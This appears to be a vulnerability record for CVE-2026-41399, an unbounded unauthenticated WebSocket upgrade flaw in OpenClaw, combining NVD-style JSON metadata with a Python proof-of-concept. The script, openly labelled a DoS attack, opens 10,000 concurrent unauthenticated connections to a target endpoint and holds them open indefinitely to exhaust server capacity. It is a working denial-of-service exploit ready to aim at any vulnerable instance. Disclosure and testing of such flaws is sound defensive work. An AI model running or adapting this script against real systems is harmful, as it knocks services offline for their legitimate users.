CVE-2026-41399

import asyncio import websockets async def attack(target_url, num_connections): # Create multiple concurrent WebSocket connections to exhaust resources tasks = [] for _ in range(num_connections): try: # Attempt to establish a WebSocket connection without authentication ws = await websockets.connect(target_url) tasks.append(ws) print(f"Connection established: {target_url}") except Exception as e: print(f"Connection failed: {e}") # Keep connections open to maintain resource exhaustion if tasks: await asyncio.Future() # Run forever if __name__ == "__main__": # Target OpenClaw WebSocket endpoint TARGET = "ws://target-openclaw-instance:8080/ws" # Large number of connections to trigger the vulnerability CONNECTIONS = 10000 print(f"Starting DoS attack against {TARGET} with {CONNECTIONS} connections...") asyncio.run(attack(TARGET, CONNECTIONS))

{"cve": {"id": "CVE-2026-41399", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:37:43.420", "lastModified": "2026-04-30T16:57:40.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.28 accepts unbounded concurrent unauthenticated WebSocket upgrades without pre-authentication budget allocation. Unauthenticated network attackers can exhaust socket and worker capacity to disrupt WebSocket availability for legitimate clients."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.28", "matchCriteriaId": "16831C6C-CC20-4318-8F7C-9FCFB12A223F"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-f44p-c7w9-7xr7", "source": "[email protected]", "tags": ["Vendor Advisory", "Patch"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-denial-of-service-via-unbounded-pre-auth-websocket-upgrades", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}